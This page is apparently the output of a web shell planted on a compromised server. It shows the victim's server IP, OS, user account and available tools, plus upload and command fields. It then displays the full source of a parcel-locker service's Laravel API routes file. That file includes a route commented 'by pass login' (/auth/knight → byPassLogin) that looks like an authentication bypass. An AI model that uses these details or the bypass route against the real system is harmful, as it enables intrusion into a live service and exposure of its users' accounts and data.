403Webshell
Server IP : 34.87.99.72  /  Your IP : 216.73.217.31
Web Server : Apache/2.4.46 (Unix) OpenSSL/1.1.1n
System : Linux zlock-bitnami-lamp-prod-v2-vm 4.19.0-16-cloud-amd64 #1 SMP Debian 4.19.181-1 (2021-03-19) x86_64
User : bitnami ( 1000)
PHP Version : 7.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /opt/bitnami/apache/htdocs/app/routes/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/bitnami/apache/htdocs/app/routes/api.php
<?php

use Illuminate\Http\Request;
use Illuminate\Support\Facades\Route;

use App\Http\Controllers\AuthController;
use App\Http\Controllers\AuthSocializeController;
use App\Http\Controllers\BoardcastMessageController;
use App\Http\Controllers\BoxBookingController;
use App\Http\Controllers\BoxInventoryController;
use App\Http\Controllers\BoxDeliveryController;
use App\Http\Controllers\CreditItemController;
use App\Http\Controllers\DashboardController;
use App\Http\Controllers\FeedbackController;
use App\Http\Controllers\LockerBoxController;
use App\Http\Controllers\LockerBoxTypeController;
use App\Http\Controllers\PartnerPackageController;
use App\Http\Controllers\PartnerPackageDetailController;
use App\Http\Controllers\LockerController;
use App\Http\Controllers\LockerGuideController;
use App\Http\Controllers\LockerMiddlewareController;
use App\Http\Controllers\LockerScheduleController;
use App\Http\Controllers\PaymentRecordController;
use App\Http\Controllers\PricingController;
use App\Http\Controllers\PromotionController;
use App\Http\Controllers\SupportiveController;
use App\Http\Controllers\UserController;
use App\Http\Controllers\UserCreditController;
use App\Http\Controllers\UserNotificationController;
use App\Http\Controllers\LockerBannerController;
use App\Http\Controllers\CourierController;
use App\Http\Controllers\GeoZoneController;
use App\Http\Controllers\ShippingController;
use App\Http\Controllers\ShippingMethodController;
use App\Http\Controllers\ShippingTypeController;
use App\Http\Controllers\StateController;

/*
|--------------------------------------------------------------------------
| API Routes
|--------------------------------------------------------------------------
|
| Here is where you can register API routes for your application. These
| routes are loaded by the RouteServiceProvider within a group which
| is assigned the "api" middleware group. Enjoy building your API!
|
*/

Route::prefix('/')->group(function ()
{
	Route::post('/signIn', [LockerMiddlewareController::class, 'signIn']);
	Route::post('/keepAlive', [LockerMiddlewareController::class, 'keepAlive']);
	Route::post('/disconnect', [LockerMiddlewareController::class, 'disconnect']);
	Route::post('/openBox', [LockerMiddlewareController::class, 'openBox']);
	Route::post('/read-qr-code', [LockerMiddlewareController::class, 'readQrCode']);
	//Route::post('/sync-locker', [LockerMiddlewareController::class, 'syncLocker']);
    

	Route::any('/payment/p88_callback', [PaymentRecordController::class, 'handleResponseCallback']);
    Route::any('/payment/p88_be_callback', [PaymentRecordController::class, 'handleBackendCallback']);

});

Route::prefix('locker')->group(function ()
{
	Route::get('/available-box', [LockerController::class, 'lockerAvailableBox']);
});

Route::prefix('locker-banner')->group(function()
{
	Route::get('list',[LockerBannerController::class, 'listLockerBanner']);
});

Route::prefix('box-inventory')->group(function()
{
	Route::post('/locker-booking', [BoxInventoryController::class, 'lockerBoxInventoryBooking']);
});

Route::prefix('locker-guide')->group(function()
{
	Route::get('/list', [LockerGuideController::class, 'lockerGuideList']);
});

Route::prefix('shipping/dhl')->group(function()
{
	// Route::get('access-token', [ShippingController::class, 'getAccessToken']);
	Route::post('label/reprint', [ShippingController::class, 'postReprintShippingLabel']);
	Route::post('shipment/creation', [ShippingController::class, 'postShipmentCreation']);
	Route::post('tracking', [ShippingController::class, 'postTracking']);
});


// open key
Route::middleware('openKey')->group(function ()
{
	Route::prefix('auth')->group(function () {
		Route::post('/register', [AuthController::class, 'register']);
		Route::post('/login', [AuthController::class, 'login']);
		Route::post('/forgot-password', [AuthController::class, 'forgotPassword']);
		Route::post('/reset-password', [AuthController::class, 'resetPassword']);

		// by pass login
    	Route::post('/knight', [AuthController::class, 'byPassLogin']);

		// socialize
		Route::post('/{type}/login', [AuthSocializeController::class, 'socializeLogin']);
		Route::post('/{type}/register', [AuthSocializeController::class, 'socializeRegister']);
	});

	Route::middleware(['throttle:otp'])->group(function () {
		Route::prefix('auth')->group(function () {
			Route::post('/phone-verification', [AuthController::class, 'initPhoneVerification']);
		});
	});

	Route::prefix('shipping')->group(function () {
		Route::get('delivery-partners', [ShippingController::class, 'getDeliveryPartners']);
		Route::get('calculate-fee', [ShippingController::class, 'calculateShippingFee']);
	});
	// sanctum auth
	Route::middleware('auth:sanctum')->group(function ()
	{

		Route::prefix('dashboard')->group(function ()
		{

			Route::get('', [DashboardController::class, 'getDashboard']);
		});

		Route::prefix('auth')->group(function ()
		{
			// Route::get('/refresh', [AuthController::class, 'refresh']);
			Route::post('/email-verification', [AuthController::class, 'initEmailVerification']);
			Route::get('/user', [AuthController::class, 'user']);
			Route::put('/update', [AuthController::class, 'authUpdate']);
			Route::put('/update-mobile', [AuthController::class, 'updateMobileNum']);
			Route::put('/update-email', [AuthController::class, 'updateEmail']);
			Route::put('/update-fcm', [AuthController::class, 'updateFcmToken']);
			Route::delete('/delete-account', [AuthController::class, 'deleteAccount']);
			Route::delete('/logout', [AuthController::class, 'logout']);
			Route::get('/check-password', [AuthController::class, 'checkAuthPassword']);
			Route::put('/edit-password', [AuthController::class, 'editAuthPassword']);
		});

		Route::prefix('user')->group(function ()
		{
			Route::get('/list', [UserController::class, 'userList'])->middleware(['checkRoles:98,99']);
			Route::get('/list-export', [UserController::class, 'exportUserList'])->middleware(['checkRoles:98,99']);
			Route::get('/info/{id}', [UserController::class, 'userInfo'])->middleware(['checkRoles:98,99']);
			Route::post('/create', [UserController::class, 'userCreate'])->middleware(['checkRoles:98,99']);
			Route::put('/update', [UserController::class, 'userUpdate'])->middleware(['checkRoles:98,99']);
			Route::delete('/archive', [UserController::class, 'userDelete'])->middleware(['checkRoles:98,99']);

			Route::post('/forgot-password', [UserController::class, 'helpResetPassword'])->middleware(['checkRoles:98,99']);
			Route::get('/check-password', [UserController::class, 'checkUserPassword'])->middleware(['checkRoles:98,99']);
			Route::put('/update-password', [UserController::class, 'userUpdatePassword'])->middleware(['checkRoles:98,99']);
			Route::get('/refs', [UserController::class, 'userRefs'])->middleware(['checkRoles:98,99']);
			
			Route::get('/genders', [UserController::class, 'getGenderTypes']);

			Route::get('/find', [UserController::class, 'findUserByMobile']);
			Route::post('/filter-contact', [UserController::class, 'filterUserContactNumber']);
		});

		Route::prefix('box-inventory')->group(function ()
		{
			Route::get('/list/{type}', [BoxInventoryController::class, 'boxInventoryList']);
			Route::get('/info/{id}', [BoxInventoryController::class, 'boxInventoryInfo']);
			Route::get('/overview', [BoxInventoryController::class, 'boxInventoryOverviewList'])->middleware('checkRoles:2,98,99');
			Route::get('/overview-export', [BoxInventoryController::class, 'exportBoxInventoryOverviewList'])->middleware('checkRoles:2,98,99');
			Route::post('/booking', [BoxInventoryController::class, 'boxInventoryBooking']);
			Route::post('/collect', [BoxInventoryController::class, 'boxInventoryCollect']);
			Route::post('/open-box', [BoxInventoryController::class, 'boxInventoryOpenBox']);
			Route::post('/force-cancel', [BoxInventoryController::class, 'boxInventoryForceCancel'])->middleware('checkRoles:2,98,99');
			Route::post('/penalize-claim', [BoxInventoryController::class, 'claimPenalizeVault'])->middleware('checkRoles:2,98,99');
			Route::delete('/cancel', [BoxInventoryController::class, 'boxInventoryCancel']);
			Route::get('/expired-list', [BoxInventoryController::class, 'boxInventoryExpiredList']);
			Route::get('/penalize-list', [BoxInventoryController::class, 'penalizeVault']);
			Route::post('/print-label', [BoxInventoryController::class, 'BoxInventoryPrintLabel']);
			
		});

		Route::prefix('box-booking')->group(function ()
		{
			Route::get('/list/{type}', [BoxBookingController::class, 'boxBookingList']);
			Route::post('/open-box', [BoxBookingController::class, 'boxBookingOpenBox']);
			Route::post('/qr-open-box', [BoxBookingController::class, 'boxBookingQrOpenBox']);
			Route::get('/expired-list', [BoxBookingController::class, 'boxBookingExpiredList']);
			Route::post('/force-cancel', [BoxBookingController::class, 'boxBookingForceCancel']);
			
		});
		
		Route::prefix('box-delivery')->group(function ()
		{
			Route::get('/list/{type}', [BoxDeliveryController::class, 'boxDeliveryList']);
			Route::get('/info/{id}', [BoxDeliveryController::class, 'boxDeliveryInfo']);
			Route::get('/overview', [BoxDeliveryController::class, 'boxDeliveryOverviewList'])->middleware('checkRoles:2,98,99');
			Route::get('/overview-export', [BoxDeliveryController::class, 'exportBoxDeliveryOverviewList'])->middleware('checkRoles:2,98,99');
			Route::get('/delivery-export', [BoxDeliveryController::class, 'exportBoxDeliveryInstruction'])->middleware('checkRoles:2,98,99');
			Route::post('/booking', [BoxDeliveryController::class, 'boxDeliveryBooking']);
			Route::post('/update', [BoxDeliveryController::class, 'boxDeliveryUpdate']);
			Route::post('/collect', [BoxDeliveryController::class, 'boxDeliveryCollect']);
			Route::post('/open-box', [BoxDeliveryController::class, 'boxDeliveryOpenBox']);
			Route::post('/print-label', [BoxDeliveryController::class, 'BoxDeliveryPrintLabel']);
			Route::post('/test-alert', [BoxDeliveryController::class, 'boxDeliveryTestAlert']);
			Route::post('/force-cancel', [BoxDeliveryController::class, 'boxDeliveryForceCancel'])->middleware('checkRoles:2,98,99');
			Route::post('/penalize-claim', [BoxDeliveryController::class, 'claimPenalizeVault'])->middleware('checkRoles:2,98,99');
			Route::delete('/cancel', [BoxDeliveryController::class, 'boxDeliveryCancel']);
			Route::get('/expired-list', [BoxDeliveryController::class, 'boxInventoryExpiredList']);
			Route::get('/penalize-list', [BoxDeliveryController::class, 'penalizeVault']);
			Route::get('/parcel-type', [BoxDeliveryController::class, 'getParcelTypes']);
			Route::get('/check-parcel-info', [BoxDeliveryController::class, 'checkParcelInfo']);
			Route::get('/check-delivery-detail', [BoxDeliveryController::class, 'checkDeliveryDetail']);
		});
		
		Route::prefix('locker-banner')->group(function()
		{
            Route::get('info/{id}',[LockerBannerController::class, 'infoLockerBanner']);
            Route::post('create',[LockerBannerController::class, 'createLockerBanner'])->middleware('checkRoles:98,99');
            Route::put('update',[LockerBannerController::class, 'updateLockerBanner'])->middleware('checkRoles:98,99');
            Route::delete('delete',[LockerBannerController::class, 'deleteLockerBanner'])->middleware('checkRoles:98,99');
            Route::post('set-image',[LockerBannerController::class, 'uploadLockerBannerImage'])->middleware('checkRoles:98,99');
            Route::delete('clear-image',[LockerBannerController::class, 'clearLockerBannerImage'])->middleware('checkRoles:98,99');
		});

		Route::prefix('locker-guide')->group(function()
		{
            Route::post('upload',[LockerGuideController::class, 'uploadLockerGuideMedia'])->middleware('checkRoles:98,99');
            Route::delete('delete-media',[LockerGuideController::class, 'removeLockerGuideMedia'])->middleware('checkRoles:98,99');
            Route::post('create',[LockerGuideController::class, 'createLockerGuide'])->middleware('checkRoles:98,99');
            Route::put('update',[LockerGuideController::class, 'updateLockerGuide'])->middleware('checkRoles:98,99');
            Route::get('info/{id}',[LockerGuideController::class, 'getLockerGuideInfo']);
            Route::delete('archive',[LockerGuideController::class, 'archiveLockerGuide'])->middleware('checkRoles:98,99');
            Route::get('type-list',[LockerGuideController::class, 'lockerGuideTypeList'])->middleware('checkRoles:98,99');
            Route::get('media-list',[LockerGuideController::class, 'lockerGuideMediaList'])->middleware('checkRoles:98,99');
		});

		Route::prefix('locker')->group(function ()
		{
			Route::get('/list', [LockerController::class, 'lockerList']);
			Route::get('/list-export', [LockerController::class, 'exportLockerList']);
			Route::get('/info/{id}', [LockerController::class, 'lockerInfo']);
			// Route::post('/create', [LockerController::class, 'lockerCreate'])->middleware(['checkRoles:98,99']);
			Route::put('/update', [LockerController::class, 'lockerUpdate'])->middleware(['checkRoles:98,99']);
			Route::delete('/archive', [LockerController::class, 'lockerDelete'])->middleware(['checkRoles:98,99']);
			Route::post('/assign-partner', [LockerController::class, 'lockerAssignPartner'])->middleware(['checkRoles:98,99']);
			Route::post('/restart-locker', [LockerController::class, 'restartLocker'])->middleware(['checkRoles:98,99']);
			Route::post('/sync-locker', [LockerController::class, 'syncLocker'])->middleware(['checkRoles:98,99']);
			Route::post('/clear-terminal', [LockerController::class, 'lockerClearTerminalId'])->middleware(['checkRoles:98,99']);
		});

		Route::prefix('locker-box')->group(function ()
		{
			Route::get('/list', [LockerBoxController::class, 'lockerBoxList']);
			Route::put('/update', [LockerBoxController::class, 'lockerBoxUpdate'])->middleware('checkRoles:98,99');
			Route::delete('/archive', [LockerBoxController::class, 'LockerBoxDelete'])->middleware('checkRoles:98,99');

			Route::post('/open-box', [LockerBoxController::class, 'lockerBoxOpenBox'])->middleware('checkRoles:2,98,99');
			Route::post('/close-box', [LockerBoxController::class, 'lockerBoxCloseBox'])->middleware('checkRoles:2,98,99');
		});

		Route::prefix('locker-box-type')->group(function ()
		{
			Route::get('/list', [LockerBoxTypeController::class, 'lockerBoxTypeList']);
			Route::get('/info/{id}', [LockerBoxTypeController::class, 'lockerBoxTypeInfo']);
			Route::post('/create', [LockerBoxTypeController::class, 'lockerBoxTypeCreate'])->middleware(['checkRoles:98,99']);
			Route::put('/update', [LockerBoxTypeController::class, 'lockerBoxTypeUpdate'])->middleware(['checkRoles:98,99']);
			Route::delete('/archive', [LockerBoxTypeController::class, 'lockerBoxTypeDelete'])->middleware(['checkRoles:98,99']);
		});

		Route::prefix('partner-package')->group(function ()
		{
			Route::get('/list', [PartnerPackageController::class, 'partnerPackageList'])->middleware(['checkRoles:98,99']);
			Route::get('/info/{id}', [PartnerPackageController::class, 'partnerPackageInfo'])->middleware(['checkRoles:98,99']);
			Route::post('/create', [PartnerPackageController::class, 'partnerPackageCreate'])->middleware(['checkRoles:98,99']);
			Route::put('/update', [PartnerPackageController::class, 'partnerPackageUpdate'])->middleware(['checkRoles:98,99']);
			Route::delete('/archive', [PartnerPackageController::class, 'partnerPackageDelete'])->middleware(['checkRoles:98,99']);
		});

		Route::prefix('partner-package-detail')->group(function ()
		{
			Route::get('/list', [PartnerPackageDetailController::class, 'partnerPackageDetailList'])->middleware(['checkRoles:98,99']);
		});

		Route::prefix('locker-schedule')->middleware('checkRoles:2,98,99')->group(function ()
		{
			Route::get('/list', [LockerScheduleController::class, 'lockerScheduleList']);
			Route::put('/update-weekly', [LockerScheduleController::class, 'lockerScheduleUpdateWeekly']);
			Route::put('/update-special', [LockerScheduleController::class, 'lockerScheduleUpdateSpecial']);
		});

		Route::prefix('credit-item')->group(function ()
		{
			Route::get('/list', [CreditItemController::class, 'creditItemList']);
			Route::get('/info/{id}', [CreditItemController::class, 'creditItemInfo']);
			Route::post('/create', [CreditItemController::class, 'creditItemCreate'])->middleware(['checkRoles:98,99']);
			Route::put('/update', [CreditItemController::class, 'creditItemUpdate'])->middleware(['checkRoles:98,99']);
			Route::delete('/archive', [CreditItemController::class, 'creditItemDelete'])->middleware(['checkRoles:98,99']);
		});

		Route::prefix('user-credit')->group(function ()
		{
			Route::get('/list', [UserCreditController::class, 'userCreditList']);
			Route::post('/top-up', [UserCreditController::class, 'userCreditTopUp']);
			Route::post('/create', [UserCreditController::class, 'userCreditCreate'])->middleware('checkRoles:98,99');
			Route::get('/refs', [UserCreditController::class, 'userCreditRefs']);
			Route::get('/export', [UserCreditController::class, 'exportUserCreditList'])->middleware('checkRoles:98,99');
		});

		Route::prefix('boardcast-message')->middleware(['checkRoles:98,99'])->group(function ()
		{
			Route::get('/list', [BoardcastMessageController::class, 'boardcastMessageList']);
			Route::post('/create', [BoardcastMessageController::class, 'boardcastMessageCreate']);
		});

		Route::prefix('user-notification')->group(function ()
		{
			Route::get('/list', [UserNotificationController::class, 'userNotificationList']);
			Route::put('/read', [UserNotificationController::class, 'userNotificationRead']);
			// Route::post('/create', [UserCreditController::class, 'userCreditCreate'])->middleware('checkRoles:98,99');
			// Route::get('/refs', [UserCreditController::class, 'userCreditRefs']);
		});

		Route::prefix('supportive')->group(function ()
		{
			Route::get('/list/{type}', [SupportiveController::class, 'supportiveList']);
			Route::post('/create', [SupportiveController::class, 'supportiveCreate'])->middleware('checkRoles:98,99');
			Route::put('/update', [SupportiveController::class, 'supportiveUpdate'])->middleware('checkRoles:98,99');
			Route::delete('/archive', [SupportiveController::class, 'supportiveDelete'])->middleware('checkRoles:98,99');
		});

		Route::prefix('payment')->group(function ()
		{
			Route::post('/ready/top-up-credit', [PaymentRecordController::class, 'readyTopUpCredit']);
		});
		Route::prefix('payment-record')->group(function ()
		{
			Route::get('/list', [PaymentRecordController::class, 'listPaymentRecord']);
			Route::post('/ready/top-up-credit', [PaymentRecordController::class, 'readyTopUpCredit']);
			Route::post('/requery', [PaymentRecordController::class, 'requery']);
			Route::get('/export', [PaymentRecordController::class, 'exportPaymentRecordList'])->middleware('checkRoles:98,99');
		});

		Route::prefix('pricing')->group(function ()
		{
			Route::get('/list', [PricingController::class, 'pricingList'])->middleware('checkRoles:98,99');
			Route::put('/update', [PricingController::class, 'pricingUpdate'])->middleware('checkRoles:98,99');
			Route::get('/check', [PricingController::class, 'pricingCheck']);
			Route::get('/endofday', [PricingController::class, 'getBookingEndOfDay']);
			Route::get('/check-delivery', [PricingController::class, 'calculateDeliveryBookingFee']);
		});

		Route::prefix('promotion')->group(function()
		{
            Route::get('list',[PromotionController::class, 'listPromotion']);
            Route::get('info/{id}',[PromotionController::class, 'infoPromotion']);
            Route::post('create',[PromotionController::class, 'createPromotion'])->middleware('checkRoles:98,99');
            Route::put('update',[PromotionController::class, 'updatePromotion'])->middleware('checkRoles:98,99');
            Route::delete('delete',[PromotionController::class, 'deletePromotion'])->middleware('checkRoles:98,99');
            Route::post('set-image',[PromotionController::class, 'uploadPromotionImage'])->middleware('checkRoles:98,99');
            Route::delete('clear-image',[PromotionController::class, 'clearPromotionImage'])->middleware('checkRoles:98,99');
		});

		Route::prefix('feedback')->group(function ()
		{
			Route::get('/list', [FeedbackController::class, 'feedbackList'])->middleware('checkRoles:98,99');
			Route::post('/create', [FeedbackController::class, 'feedbackCreate']);
		});

		Route::post('/locker/test', [LockerMiddlewareController::class, 'testLocker']);


		Route::middleware('checkRoles:99,98')->prefix('courier')->group(function ()
		{
			Route::get('/all', [CourierController::class, 'courierAll']);
			Route::get('/list', [CourierController::class, 'courierList']);
			Route::post('/create', [CourierController::class, 'courierCreate']);
			Route::put('/update', [CourierController::class, 'courierUpdate']);
			Route::delete('/archive', [CourierController::class, 'courierDelete']);
            Route::post('set-image',[CourierController::class, 'uploadCourierImage']);
            Route::delete('clear-image',[CourierController::class, 'clearCourierImage']);
		});

		Route::prefix('courier')->group(function ()
		{
			Route::get('/list', [CourierController::class, 'courierList']);
		});

		Route::prefix('state')->group(function () {
			Route::get('/get', [StateController::class, 'getStateFromPostcode']);
			Route::get('/list', [StateController::class, 'stateList']);
			Route::get('/city-list', [StateController::class, 'getCities']);
		});

		Route::middleware('checkRoles:99,98')->prefix('geo-zone')->group(function () {
			Route::get('/list', [GeoZoneController::class, 'geoZoneList']);
		});

		Route::middleware('checkRoles:99,98')->prefix('shipping-type')->group(function () {
			Route::get('/list', [ShippingTypeController::class, 'shippingTypeList']);
		});

		Route::middleware('checkRoles:99,98')->prefix('shipping-method')->group(function () {
			Route::get('/list', [ShippingMethodController::class, 'shippingMethodList']);
			Route::get('/info/{id}', [ShippingMethodController::class, 'shippingMethodInfo']);
			Route::post('/create', [ShippingMethodController::class, 'shippingMethodCreate']);
			Route::post('/update', [ShippingMethodController::class, 'shippingMethodUpdate']);
			Route::post('/update-status', [ShippingMethodController::class, 'shippingMethodUpdateStatus']);
			Route::delete('/archive', [ShippingMethodController::class, 'shippingMethodDelete']);
		});

	});

});

Route::fallback(function ()
{
    return response()->json([
        'status' => 'error',
        'message' => 'The route you looking at is not avaiable.',
    ], 404);
});

Youez - 2016 - github.com/yon3zu
LinuXploit